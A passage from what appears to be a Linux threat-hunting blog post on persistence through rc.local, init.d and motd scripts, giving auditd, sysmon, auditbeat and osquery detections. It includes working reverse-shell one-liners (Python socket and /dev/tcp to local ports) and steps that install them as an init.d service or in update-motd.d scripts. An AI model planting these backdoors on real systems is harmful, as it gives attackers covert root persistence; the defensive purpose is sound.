<p>You can try to monitor process creation with <code class="language-plaintext highlighter-rouge">/etc/rc.local</code> however, this may not work because the <code class="language-plaintext highlighter-rouge">sysmon.service</code> is not yet running yet before the <code class="language-plaintext highlighter-rouge">rc-local.service</code> starts.</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;ProcessCreate&gt;</span>
    <span class="nt">&lt;Rule</span> <span class="na">name=</span><span class="s">"TechniqueID=T1037.004,TechniqueName=Boot or Logon Initialization Scripts: RC Scripts"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;CommandLine</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">&gt;</span>/etc/rc.local<span class="nt">&lt;/CommandLine&gt;</span>
    <span class="nt">&lt;/Rule&gt;</span>
<span class="nt">&lt;/ProcessCreate&gt;</span>
</code></pre></div></div>

<h5 id="833-auditbeat">8.3.3 auditbeat</h5>

<p>The default configuration of <code class="language-plaintext highlighter-rouge">auditbeat</code> will catch the creation of <code class="language-plaintext highlighter-rouge">/etc/rc.local</code> by the file integrity monitoring module.</p>

<p><img src="/assets/posts/20220206/833-rclocal-auditbeat.png" alt="" /></p>

<h4 id="84-using-osquery-to-look-for-rclocal">8.4 Using osquery to look for rc.local</h4>

<p>You can if the <code class="language-plaintext highlighter-rouge">rc-local.service</code> is not <code class="language-plaintext highlighter-rouge">inactive</code> using one of the following queries.</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">id</span><span class="p">,</span> <span class="n">description</span><span class="p">,</span><span class="n">load_state</span><span class="p">,</span> <span class="n">active_state</span><span class="p">,</span> <span class="n">sub_state</span><span class="p">,</span> <span class="n">fragment_path</span>  
<span class="k">FROM</span> <span class="n">systemd_units</span> 
<span class="k">WHERE</span> <span class="n">id</span> <span class="o">=</span> <span class="nv">"rc-local.service"</span> <span class="k">AND</span> <span class="n">active_state</span><span class="o">!=</span><span class="nv">"inactive"</span><span class="p">;</span>
</code></pre></div></div>

<p><img src="/assets/posts/20220206/84-osquery-rc-local.png" alt="" /></p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="o">*</span> 
<span class="k">FROM</span> <span class="n">startup_items</span> 
<span class="k">WHERE</span> 
    <span class="n">name</span> <span class="o">=</span> <span class="nv">"rc-local.service"</span>
    <span class="k">AND</span> <span class="n">status</span> <span class="o">!=</span> <span class="nv">"inactive"</span><span class="p">;</span>
</code></pre></div></div>

<p><img src="/assets/posts/20220206/84-osquery-startup.png" alt="" /></p>

<p>If you are using <code class="language-plaintext highlighter-rouge">rc.local</code> then we can compare the hash instead</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">path</span><span class="p">,</span> <span class="n">md5</span> <span class="k">FROM</span> <span class="n">hash</span> <span class="k">WHERE</span> <span class="n">path</span><span class="o">=</span><span class="nv">"/etc/rc.local"</span><span class="p">;</span>
</code></pre></div></div>

<h3 id="9-boot-or-logon-initialization-scripts-initd">9 Boot or Logon Initialization Scripts: init.d</h3>

<p><strong>MITRE:</strong> <a href="https://attack.mitre.org/techniques/T1037/">https://attack.mitre.org/techniques/T1037/</a></p>

<h4 id="91-how-does-initd-and-systemd-work">9.1 How does init.d and systemd work?</h4>

<p>The <code class="language-plaintext highlighter-rouge">/etc/init.d/</code> comes from the <code class="language-plaintext highlighter-rouge">sysvinit</code> which was the traditional <code class="language-plaintext highlighter-rouge">init</code> used by linux distros such as <code class="language-plaintext highlighter-rouge">ubuntu</code> and <code class="language-plaintext highlighter-rouge">debian</code>. However, with the migration to <code class="language-plaintext highlighter-rouge">systemd</code>, scripts that normally need to be implemented in <code class="language-plaintext highlighter-rouge">/etc/init.d/</code> can now be implemented with systemd services and the <code class="language-plaintext highlighter-rouge">/etc/init.d/</code> is kept there for compatibility.</p>

<p>So are <code class="language-plaintext highlighter-rouge">/etc/init.d/</code> still run? It depends. The <a href="https://www.freedesktop.org/software/systemd/man/systemd-sysv-generator.html">systemd-sysv-generator</a> (<a href="https://github.com/systemd/systemd/blob/main/src/sysv-generator/sysv-generator.c">source</a>) creates wrapper <code class="language-plaintext highlighter-rouge">*.service</code> units at boot which will be used to run the init scripts if no <code class="language-plaintext highlighter-rouge">*.service</code> exists.</p>

<h4 id="92-installing-malicious-initd-script">9.2 Installing malicious init.d script</h4>

<p>First create a executable script int <code class="language-plaintext highlighter-rouge">/etc/init.d</code>. Let’s say that we want to make <code class="language-plaintext highlighter-rouge">/etc/init.d/bad-init-d</code> where <code class="language-plaintext highlighter-rouge">/opt/backdoor.sh</code> is our malicious script.</p>

<p>One example of malicious script can be</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> <span class="o">&gt;</span> /opt/backdoor.sh <span class="o">&lt;&lt;</span> <span class="no">EOF</span><span class="sh">
python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' &amp; disown
</span><span class="no">EOF
</span><span class="nb">chmod</span> +x /opt/backdoor.sh
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> <span class="o">&gt;</span> /etc/init.d/bad-init-d <span class="o">&lt;&lt;</span> <span class="no">EOF</span><span class="sh">
#!/bin/sh
### BEGIN INIT INFO
# Provides:          bad-init-d
# Required-Start:    </span><span class="nv">$local_fs</span><span class="sh"> </span><span class="nv">$network</span><span class="sh"> </span><span class="nv">$syslog</span><span class="sh">
# Required-Stop:     </span><span class="nv">$local_fs</span><span class="sh"> </span><span class="nv">$network</span><span class="sh"> </span><span class="nv">$syslog</span><span class="sh">
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
### END INIT INFO

do_start()
{
    start-stop-daemon --start </span><span class="se">\</span><span class="sh">
        --pidfile /var/run/init-daemon.pid  </span><span class="se">\</span><span class="sh">
        --exec /opt/backdoor.sh </span><span class="se">\</span><span class="sh">
        || return 2
}


case "</span><span class="nv">$1</span><span class="sh">" in
  start)
        do_start
    ;;
esac
</span><span class="no">EOF

</span><span class="nb">chmod</span> +x /etc/init.d/bad-init-d    
update-rc.d bad-init-d defaults
</code></pre></div></div>

<p>The contents of <code class="language-plaintext highlighter-rouge">BEGIN INIT INFO</code> comment is necessary and is parsed by <code class="language-plaintext highlighter-rouge">systemd-sysv-generator</code> to create the wrapper service files.</p>

<p>The <code class="language-plaintext highlighter-rouge">update-rc.</code> command creates symlinks on necessary <code class="language-plaintext highlighter-rouge">/etc/rc*/</code> based on the LSB header defined in <code class="language-plaintext highlighter-rouge">BEGIN INIT INFO</code>. This is equivalent to <code class="language-plaintext highlighter-rouge">enable</code> in <code class="language-plaintext highlighter-rouge">systemd</code>. This is enough for the script to run on boot.</p>

<h4 id="93-detecting-creation-of-etcinitdscripts">9.3 Detecting creation of /etc/init.d/scripts</h4>

<p>The primary way we can detect this is by monitoring the modification of <code class="language-plaintext highlighter-rouge">/etc/init.d/*</code> directory. We can try to monitor process creation that use these scripts but these boot init scripts will run <strong>before the <code class="language-plaintext highlighter-rouge">sysmon</code>, <code class="language-plaintext highlighter-rouge">auditd</code>, and <code class="language-plaintext highlighter-rouge">auditbeat</code> services has started.</strong></p>

<h6 id="931-auditd">9.3.1 auditd</h6>

<p>This rule is present in our reference <a href="https://github.com/Neo23x0/auditd/blob/master/audit.rules">Neo23x0/auditd</a>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-w /etc/init.d/ -p wa -k init
</code></pre></div></div>

<p>This wil results in the following log</p>

<pre class="highlight">
<code>SYSCALL arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=55862848dda0 a2=241 a3=1b6 items=2 ppid=692 pid=2917 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=5 comm="bash" exe="/usr/bin/bash" subj==unconfined <b><u>key="init"</u></b>
PATH item=0 name="/etc/init.d/" inode=120 dev=08:01 mode=040755 ouid=0 ogid=0 rdev=00:00 nametype=PARENT cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0
PATH item=1 <b><u>name="/etc/init.d/bad-init-d"</u></b> inode=4842 dev=08:01 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=CREATE cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0
PROCTITLE proctitle="bash"
</code></pre>

<h5 id="932-sysmon">9.3.2 sysmon</h5>

<p>We can see that this is implemented in <a href="https://github.com/microsoft/MSTIC-Sysmon/blob/main/linux/configs/attack-based/persistence/T1037_BootLogonInitScripts_CommonDirectories.xml">T1037_BootLogonInitScripts_CommonDirectories.xml</a></p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;FileCreate</span> <span class="na">onmatch=</span><span class="s">"include"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;Rule</span> <span class="na">name=</span><span class="s">"TechniqueID=T1037,TechniqueName=Boot or Logon Initialization Scripts"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">&gt;</span>/etc/init/<span class="nt">&lt;/TargetFilename&gt;</span>
        <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">&gt;</span>/etc/init.d/<span class="nt">&lt;/TargetFilename&gt;</span>
        <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">&gt;</span>/etc/rc.d/<span class="nt">&lt;/TargetFilename&gt;</span>
    <span class="nt">&lt;/Rule&gt;</span>
<span class="nt">&lt;/FileCreate&gt;</span>
</code></pre></div></div>

<p>This will result in the following log</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0"?&gt;</span>
<span class="nt">&lt;Event&gt;</span>
  <span class="nt">&lt;System&gt;</span>
    <span class="nt">&lt;Provider</span> <span class="na">Name=</span><span class="s">"Linux-Sysmon"</span> <span class="na">Guid=</span><span class="s">"{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"</span><span class="nt">/&gt;</span>
    <span class="nt">&lt;EventID&gt;</span>11<span class="nt">&lt;/EventID&gt;</span>
    <span class="nt">&lt;Version&gt;</span>2<span class="nt">&lt;/Version&gt;</span>
    <span class="nt">&lt;Level&gt;</span>4<span class="nt">&lt;/Level&gt;</span>
    <span class="nt">&lt;Task&gt;</span>11<span class="nt">&lt;/Task&gt;</span>
    <span class="nt">&lt;Opcode&gt;</span>0<span class="nt">&lt;/Opcode&gt;</span>
    <span class="nt">&lt;Keywords&gt;</span>0x8000000000000000<span class="nt">&lt;/Keywords&gt;</span>
    <span class="nt">&lt;TimeCreated</span> <span class="na">SystemTime=</span><span class="s">"2022-02-02T03:31:07.762467000Z"</span><span class="nt">/&gt;</span>
    <span class="nt">&lt;EventRecordID&gt;</span>6<span class="nt">&lt;/EventRecordID&gt;</span>
    <span class="nt">&lt;Correlation/&gt;</span>
    <span class="nt">&lt;Execution</span> <span class="na">ProcessID=</span><span class="s">"2887"</span> <span class="na">ThreadID=</span><span class="s">"2887"</span><span class="nt">/&gt;</span>
    <span class="nt">&lt;Channel&gt;</span>Linux-Sysmon/Operational<span class="nt">&lt;/Channel&gt;</span>
    <span class="nt">&lt;Computer&gt;</span>persistence-blog<span class="nt">&lt;/Computer&gt;</span>
    <span class="nt">&lt;Security</span> <span class="na">UserId=</span><span class="s">"0"</span><span class="nt">/&gt;</span>
  <span class="nt">&lt;/System&gt;</span>
  <span class="nt">&lt;EventData&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"RuleName"</span><span class="nt">&gt;</span>TechniqueID=T1037,TechniqueName=Boot or <span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"UtcTime"</span><span class="nt">&gt;</span>2022-02-02 03:31:07.765<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ProcessGuid"</span><span class="nt">&gt;</span>{8491267f-fafb-61f9-8da7-192786550000}<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ProcessId"</span><span class="nt">&gt;</span>2917<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"Image"</span><span class="nt">&gt;</span>/usr/bin/bash<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"TargetFilename"</span><span class="nt">&gt;</span>/etc/init.d/bad-init-d<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"CreationUtcTime"</span><span class="nt">&gt;</span>2022-02-02 03:31:07.765<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"User"</span><span class="nt">&gt;</span>root<span class="nt">&lt;/Data&gt;</span>
  <span class="nt">&lt;/EventData&gt;</span>
<span class="nt">&lt;/Event&gt;</span>
</code></pre></div></div>

<h5 id="933-auditbeat">9.3.3 auditbeat</h5>

<p>Similar to the discussion we had in the the previous <a href="https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/#56-detecting-using-auditbeats">blogpost regarding systemd services</a>, the <a href="https://www.elastic.co/guide/en/beats/auditbeat/6.8/auditbeat-module-file_integrity.html">default configuration</a> of <code class="language-plaintext highlighter-rouge">auditbeat</code> will monitor <code class="language-plaintext highlighter-rouge">/etc/init.d</code> in it’s file integrity monitoring module.</p>

<p>Either set <code class="language-plaintext highlighter-rouge">recursive: true</code> or add <code class="language-plaintext highlighter-rouge">/etc/init.d</code></p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="pi">-</span> <span class="na">module</span><span class="pi">:</span> <span class="s">file_integrity</span>
  <span class="na">paths</span><span class="pi">:</span>
  <span class="pi">-</span> <span class="s">/bin</span>
  <span class="pi">-</span> <span class="s">/usr/bin</span>
  <span class="pi">-</span> <span class="s">/sbin</span>
  <span class="pi">-</span> <span class="s">/usr/sbin</span>
  <span class="pi">-</span> <span class="s">/etc</span>
  <span class="pi">-</span> <span class="s">/etc/init.d</span>
  <span class="c1"># recursive: true</span>
</code></pre></div></div>

<p>Once this is setup, we should see logs like this:</p>

<p><img src="/assets/posts/20220206/933-auditbeat-initd.png" alt="" /></p>

<h5 id="934-sysmon">9.3.4 sysmon</h5>

<p>Assuming the attacker forgot to tamper with timestamps, we can look for the most recently newly modified files <code class="language-plaintext highlighter-rouge">/etc/init.d</code></p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">path</span><span class="p">,</span> <span class="n">filename</span><span class="p">,</span> <span class="n">md5</span><span class="p">,</span> <span class="k">size</span><span class="p">,</span> <span class="n">atime</span><span class="p">,</span> <span class="n">mtime</span><span class="p">,</span> <span class="n">ctime</span> 
<span class="k">FROM</span> <span class="n">file</span> 
<span class="k">JOIN</span> <span class="n">hash</span> 
<span class="k">USING</span><span class="p">(</span><span class="n">path</span><span class="p">)</span> 
<span class="k">WHERE</span> <span class="n">path</span> <span class="k">LIKE</span> <span class="nv">"/etc/init.d/%"</span> 
<span class="k">ORDER</span> <span class="k">BY</span> <span class="n">mtime</span> <span class="k">DESC</span><span class="p">;</span>
</code></pre></div></div>

<p><img src="/assets/posts/20220206/94-osquery-new-files.png" alt="" /></p>

<h4 id="94-looking-for-evidence-of-etcinitd-execution">9.4 Looking for evidence of <code class="language-plaintext highlighter-rouge">/etc/init.d/</code> execution</h4>

<p>Similar to the <code class="language-plaintext highlighter-rouge">rc.local</code>, simple evidences of the  execution of <code class="language-plaintext highlighter-rouge">/etc/init.d</code> scripts are:</p>
<ul>
  <li>to see if there are evidence of the generated <code class="language-plaintext highlighter-rouge">*.service</code> files</li>
  <li>check logs whether these services executed</li>
</ul>

<h5 id="941-init-scripts-with-description">9.4.1 init scripts with description</h5>

<p>If the LSB header of the script has a description, this will be added to the service file and a prefix of <code class="language-plaintext highlighter-rouge">LSB: </code> is included</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#!/bin/sh
### BEGIN INIT INFO
# Provides:          bad-init-d
# Required-Start:    $local_fs $network $syslog
# Required-Stop:     $local_fs $network $syslog
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Description: Bad
### END INIT INFO
</code></pre></div></div>

<p>This will results to logs in syslog containing this description and “LSB”</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">cat</span> /var/log/syslog | <span class="nb">grep </span>LSB
...
Feb  2 03:08:05 host systemd[1]: Starting LSB: Bad...
Feb  2 03:08:05 host systemd[1]: Started LSB: Bad.
Feb  2 03:16:47 host systemd[1]: Stopping LSB: Bad...
</code></pre></div></div>

<p>But this description is not required.</p>

<h5 id="942-looking-at-generated-service-files">9.4.2 Looking at generated service files</h5>

<p>The generated files will exist in the <code class="language-plaintext highlighter-rouge">/var/run/systemd/generator.late/</code> look for <code class="language-plaintext highlighter-rouge">.service</code> files there and you can the status of the services.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">ls</span> /var/run/systemd/generator.late/
bad-init-d.service  graphical.target.wants  multi-user.target.wants
<span class="nv">$ </span>/home/user# systemctl status bad-init-d
● bad-init-d.service
   Loaded: loaded <span class="o">(</span>/etc/init.d/bad-init-d<span class="p">;</span> generated<span class="o">)</span>
   Active: active <span class="o">(</span>exited<span class="o">)</span> since Wed 2022-02-02 03:58:30 UTC<span class="p">;</span> 4min 28s ago
     Docs: man:systemd-sysv-generator<span class="o">(</span>8<span class="o">)</span>
    Tasks: 0 <span class="o">(</span>limit: 4651<span class="o">)</span>
   Memory: 0B
   CGroup: /system.slice/bad-init-d.service

Feb 02 03:58:30 host systemd[1]: Starting bad-init-d.service...
Feb 02 03:58:30 host systemd[1]: Started bad-init-d.service.
</code></pre></div></div>

<p>Similarly, you can list all services tagged generated by <code class="language-plaintext highlighter-rouge">systemd</code> and start your hunting there.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ systemctl list-unit-files | grep generated
-.mount                                generated      
boot-efi.mount                         generated      
bad-init-d.service                     generated      
systemd-growfs@-.service               generated   
</code></pre></div></div>

<h5 id="943-using-osquery">9.4.3 Using osquery</h5>

<p>This looks for any service files that were generated from <code class="language-plaintext highlighter-rouge">/etc/init.d</code></p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">id</span><span class="p">,</span> <span class="n">description</span><span class="p">,</span> <span class="n">load_state</span><span class="p">,</span> <span class="n">active_state</span><span class="p">,</span> <span class="n">sub_state</span><span class="p">,</span>  <span class="n">source_path</span> 
<span class="k">FROM</span> <span class="n">systemd_units</span> 
<span class="k">WHERE</span> <span class="n">source_path</span> <span class="k">LIKE</span> <span class="nv">"/etc/init.d%"</span><span class="p">;</span>
</code></pre></div></div>

<p><img src="/assets/posts/20220206/94-osquery-initd.png" alt="" /></p>

<h3 id="10-boot-or-logon-initialization-scripts-motd">10 Boot or Logon Initialization Scripts: motd</h3>

<p><strong>MITRE:</strong> <a href="https://attack.mitre.org/techniques/T1037/">https://attack.mitre.org/techniques/T1037/</a></p>

<p>This particular subtechnique is not part of the MITRE ATT&amp;CK matrix. This is something I first encountered while solving <code class="language-plaintext highlighter-rouge">PersistenceIsFutile</code> in <code class="language-plaintext highlighter-rouge">hackthebox</code> and I felt this was interesting enough to discuss here.</p>

<h4 id="101-what-is-motd">10.1 What is motd?</h4>

<p>The <code class="language-plaintext highlighter-rouge">motd</code> or the “message of the day” is the text a user experience when logging in a linux box over ssh or a local console.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>ssh user@1.2.3.4
Linux persistence-blog 4.19.0-18-cloud-amd64 <span class="c">#1 SMP Debian 4.19.208-1 (2021-09-29) x86_64</span>

The programs included with the Debian GNU/Linux system are free software<span class="p">;</span>
the exact distribution terms <span class="k">for </span>each program are described <span class="k">in </span>the
individual files <span class="k">in</span> /usr/share/doc/<span class="k">*</span>/copyright.

...
</code></pre></div></div>

<p>The docs for this can be found in <a href="https://wiki.debian.org/motd">debian’s motd page</a>.</p>

<p>For debian and ubuntu, part of this message can be generated dynamically from scripts in <code class="language-plaintext highlighter-rouge">/etc/update-motd.d</code>. This can be either triggered by <code class="language-plaintext highlighter-rouge">sshd</code> and <code class="language-plaintext highlighter-rouge">pam_motd</code>.</p>

<p>In <code class="language-plaintext highlighter-rouge">sshd</code>, there is a config in <code class="language-plaintext highlighter-rouge">/etc/ssh/sshd_config</code> , <code class="language-plaintext highlighter-rouge">PrintMotd</code> and this is set to <code class="language-plaintext highlighter-rouge">no</code> by default because we let <code class="language-plaintext highlighter-rouge">pam_motd</code> handle <code class="language-plaintext highlighter-rouge">motd</code>.</p>

<p>In <code class="language-plaintext highlighter-rouge">pam_motd</code>, this is either in <code class="language-plaintext highlighter-rouge">/etc/pam.d/login</code> or <code class="language-plaintext highlighter-rouge">/etc/pam.d/sshd</code> in the following configs</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># This runs the /etc/update-motd.d/*
session    optional     pam_motd.so  motd=/run/motd.dynamic

# This prints out the static motd 
session    optional     pam_motd.so noupdate
</code></pre></div></div>

<p>What is interesting is that these scripts run as root regardless of which user is used to log in and it occurs each time someone connects over ssh.</p>

<p>To get some idea some of the usual uses of this, we can look at scripts that come with <code class="language-plaintext highlighter-rouge">ubuntu</code></p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">00-header</code></li>
  <li><code class="language-plaintext highlighter-rouge">91-release-upgrade</code></li>
  <li><code class="language-plaintext highlighter-rouge">90-updates-available</code></li>
  <li><code class="language-plaintext highlighter-rouge">98-reboot-required</code></li>
</ul>

<h4 id="102-creating-malicious-scripts-in-motd">10.2 Creating malicious scripts in motd</h4>

<p>This is pretty straightforward. We can modify an existing script or add our own in <code class="language-plaintext highlighter-rouge">/etc/update-motd.d</code>.</p>

<p>For example, if <code class="language-plaintext highlighter-rouge">90-updates-available</code> exists we can add</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s1">'/bin/bash -l &gt; /dev/tcp/127.0.0.1/1337 0&lt;&amp;1 2&gt;&amp;1 &amp;'</span> <span class="o">&gt;&gt;</span>  /etc/update-motd.d/90-updates-available
</code></pre></div></div>

<p>Similarly, if doesn’t exist, we can drop our own script.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> <span class="o">&gt;</span> /usr/lib/update-notifier/update-motd-updates-available  <span class="o">&lt;&lt;</span> <span class="no">EOF</span><span class="sh">
#! /bin/bash
/bin/bash -l &gt; /dev/tcp/127.0.0.1/1337 0&lt;&amp;1 2&gt;&amp;1 &amp;
</span><span class="no">EOF
</span><span class="nb">chmod</span> +x /usr/lib/update-notifier/update-motd-updates-available

<span class="nb">cat</span> <span class="o">&gt;</span> /etc/update-motd.d/90-updates-available <span class="o">&lt;&lt;</span> <span class="no">EOF</span><span class="sh">
#!/bin/sh
if [ -x /usr/lib/update-notifier/update-motd-updates-available ]; then
    exec /usr/lib/update-notifier/update-motd-updates-available
fi
</span><span class="no">EOF
</span><span class="nb">chmod</span> +x /etc/update-motd.d/90-updates-available 
</code></pre></div></div>

<h4 id="103-detecting-changes-in-etcupdate-motdd">10.3 Detecting changes in <code class="language-plaintext highlighter-rouge">/etc/update-motd.d</code></h4>

<p>We won’t go dwell on this too much since this is very similar to the <code class="language-plaintext highlighter-rouge">/etc/init.d</code></p>

<h5 id="1031-auditd">10.3.1 auditd</h5>

<p>This is not present in our reference <a href="https://github.com/Neo23x0/auditd/blob/master/audit.rules">Neo23x0/auditd</a>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-w /etc/update-motd.d/ -p wa -k motd
</code></pre></div></div>

<h5 id="1032-sysmon">10.3.2 sysmon</h5>

<p>This is not implemented in <a href="https://github.com/microsoft/MSTIC-Sysmon/tree/main/linux">microsoft/MSTIC-Sysmon</a></p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;FileCreate</span> <span class="na">onmatch=</span><span class="s">"include"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;Rule</span> <span class="na">name=</span><span class="s">"TechniqueID=T1037,TechniqueName=Boot or Logon Initialization Scripts: motd"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">&gt;</span>/etc/update-motd.d/<span class="nt">&lt;/TargetFilename&gt;</span>
    <span class="nt">&lt;/Rule&gt;</span>
<span class="nt">&lt;/FileCreate&gt;</span>
</code></pre></div></div>
<h5 id="1033-osquery">10.3.3 osquery</h5>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">path</span><span class="p">,</span> <span class="n">filename</span><span class="p">,</span> <span class="n">md5</span><span class="p">,</span> <span class="k">size</span><span class="p">,</span> <span class="n">atime</span><span class="p">,</span> <span class="n">mtime</span><span class="p">,</span> <span class="n">ctime</span> 
<span class="k">FROM</span> <span class="n">file</span> <span class="k">JOIN</span> <span class="n">hash</span> <span class="k">USING</span><span class="p">(</span><span class="n">path</span><span class="p">)</span> 
<span class="k">WHERE</span> <span class="n">path</span> <span class="k">LIKE</span> <span class="nv">"/etc/update-motd.d/%"</span> 
<span class="k">ORDER</span> <span class="k">BY</span> <span class="n">mtime</span> <span class="k">DESC</span>
</code></pre></div></div>

<h5 id="1034-auditbeat">10.3.4 auditbeat</h5>

<p>Similar to <code class="language-plaintext highlighter-rouge">init.d</code>, the <code class="language-plaintext highlighter-rouge">update-motd.d</code> is not monitored by default by auditbeats. Either set <code class="language-plaintext highlighter-rouge">recursive: true</code> or add <code class="language-plaintext highlighter-rouge">/etc/update-motd.d</code></p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="pi">-</span> <span class="na">module</span><span class="pi">:</span> <span class="s">file_integrity</span>
  <span class="na">paths</span><span class="pi">:</span>
    <span class="s">...</span>
  <span class="pi">-</span> <span class="s">/etc/update-motd.d</span>
  <span class="c1"># recursive: true</span>
</code></pre></div></div>

<h4 id="104-looking-for-suspicious-processes">10.4 Looking for suspicious processes</h4>

<p>Let’s take time to discuss some notes when looking at running processes.</p>

<p>For example, if we have a reverse shell in one of the services such as <code class="language-plaintext highlighter-rouge">rc.local</code> or any other service, we can get one of two outcomes</p>

<p>After running <code class="language-plaintext highlighter-rouge">ps -auxwf</code> you can see the processes and their parent-child relationship.</p>

<p>One outcome is
<img src="/assets/posts/20220206/1040-process-tree.png" alt="" /></p>

<p>Where <code class="language-plaintext highlighter-rouge">bash -i</code> has parent PID of <code class="language-plaintext highlighter-rouge">/bin/bash /etc/rc.local start</code></p>

<p>Or you can also get just the case where the parent PID is <code class="language-plaintext highlighter-rouge">1</code> which is simply
<img src="/assets/posts/20220206/1041-process.png" alt="" /></p>

<p>A process can have a parent ID of <code class="language-plaintext highlighter-rouge">1</code> when the parent process ends without waiting for the child to finish. For example, if you run a python script in the background you might get something like
<img src="/assets/posts/20220206/1042-sshd-processes.png" alt="" /></p>

<p>But if the <code class="language-plaintext highlighter-rouge">bash</code> terminal of the user ends while <code class="language-plaintext highlighter-rouge">python3 malicious.py</code> runs in the background, then the next you check the process it <code class="language-plaintext highlighter-rouge">python3 malicious.py</code> will have a parent PID of <code class="language-plaintext highlighter-rouge">1</code>. You can list the process 
<img src="/assets/posts/20220206/1043-ps-grep.png" alt="" /></p>

<p>Where we see the PPID is <code class="language-plaintext highlighter-rouge">689</code> when previously it was <code class="language-plaintext highlighter-rouge">686</code>, that is because the shell that created the background process has ended.
<img src="/assets/posts/20220206/1044-mal-python.png" alt="" /></p>

<p>Since scripts in <code class="language-plaintext highlighter-rouge">update-motd.d</code> have to end for the SSH shell to start, then any long running processes that from running a malicious script in <code class="language-plaintext highlighter-rouge">/etc/update-motd.d</code> would have a parent PID of <code class="language-plaintext highlighter-rouge">1</code>. Similarly, as you can see, shell processes resulting from sshd will not have a PPID of <code class="language-plaintext highlighter-rouge">1</code>.</p>

<p>Some when hunting, you can start looking for <code class="language-plaintext highlighter-rouge">bash</code>, <code class="language-plaintext highlighter-rouge">sh</code> and <code class="language-plaintext highlighter-rouge">python</code> processes that you have PID 1 or those you cannot trace back to the <code class="language-plaintext highlighter-rouge">sshd</code>.</p>

<p>Again, in the terminal you can search for this in</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ps -auxwf
ps -efj | egrep "python|bash|\bsh\b|PPID"
</code></pre></div></div>

<p>Using osquery you can look for it in</p>

